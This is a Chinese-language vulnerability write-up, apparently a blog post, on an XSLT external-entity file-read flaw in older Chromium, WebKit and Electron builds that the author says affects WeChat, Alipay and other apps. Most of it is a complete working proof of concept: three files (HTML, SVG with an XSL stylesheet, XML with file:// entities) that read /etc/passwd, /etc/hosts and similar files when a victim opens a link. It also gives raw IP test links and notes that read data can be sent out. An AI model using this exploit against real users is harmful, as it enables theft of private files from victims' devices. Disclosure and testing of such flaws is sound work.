微信、支付宝、小米浏览器、携程应用等国内主流软件均存在任意文件读取漏洞。此漏洞源于谷歌浏览器内核漏洞,而国内很多app,包括苹果内置浏览器均为谷歌浏览器,故影响全系列产品。
Google Chrome是一款由Google(谷歌)公司开发的网页浏览器。该浏览器基于开源内核(如WebKit)编写,目标是提升稳定性、速度和安全性,并创造出简单且有效率的使用者界面。
WebKit默认使用的xsl库(Libxslt),调用document()加载的文档里面包含对外部实体的引用。
攻击者可以创建并托管包含XSL样式表的SVG图像和包含外部实体引用的文档。
当受害者访问SVG图像链接时,浏览器会解析XSL样式表,调用document() 加载包含外部实体引用的文档,读取受害者机器的任意文件。
Chrome 版本 < 116.0.5845.96
Chromium 版本 < 116.0.5845.96
Electron 版本 < 26.1.0
国内影响:
使用谷歌浏览器内核的应用基本都受影响,如:手机微信,支付宝,抖音,携程,小米(自带浏览器),UC浏览器,via浏览器,夸克浏览等等(这些都是11月19日晚测过的)
以安卓版微信,读取手机/etc/hosts文件为例:
当前我微信版本为最新版8.0.43
构造三个文件并部署在服务器上
c.html
<body>
<div id="r"></div>
<script>
const ifr = document.createElement('iframe');
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;
r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
}
ifr.src = "./c2.svg";
var data = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
alert(data);
</script>
</body>
c2.svg
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignObject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp>
<xsl:copy-of select="document('./c3.xml')"/>
</xmp>
</body>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet>
c3.xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<p>
<p style="border-style: dotted;">/etc/passwd:
&passwd;
</p>
<p style="border-style: dotted;" id="hosts">/etc/hosts:
&hosts;
</p>
<p style="border-style: dotted;">/etc/group:
&group;
</p>
<p style="border-style: dotted;">c:/windows/system.ini:
&sysini;
</p>
</p>
创建好三个文件后,上传至服务器上部署
将构造好的链接通过会话框发给任意好友,我这里演示发给文件传输助手
然后点击这个链接,返回如下则漏洞存在
如果知道其他文件存储的位置,一样可以读取。
当然除了本地显示,攻击者是可以将读取的文件是外带出去
解密外带的数据
除了微信还有其他厂商应用存在此漏洞,如:
小米浏览器
夸克浏览器
支付宝:
携程
实在太多了,不在一一列举。
由于此漏洞影响国内众多大厂商应用,且未修复,故不提供漏洞利用代码。
可通过以下链接来检测你的应用是否存在此漏洞
http://188.68.220.248/js.svg (国外)
http://43.143.230.199/c.html (国内)
1、升级应用内置浏览器版本;
2、用户不要点击陌生链接,防止被攻击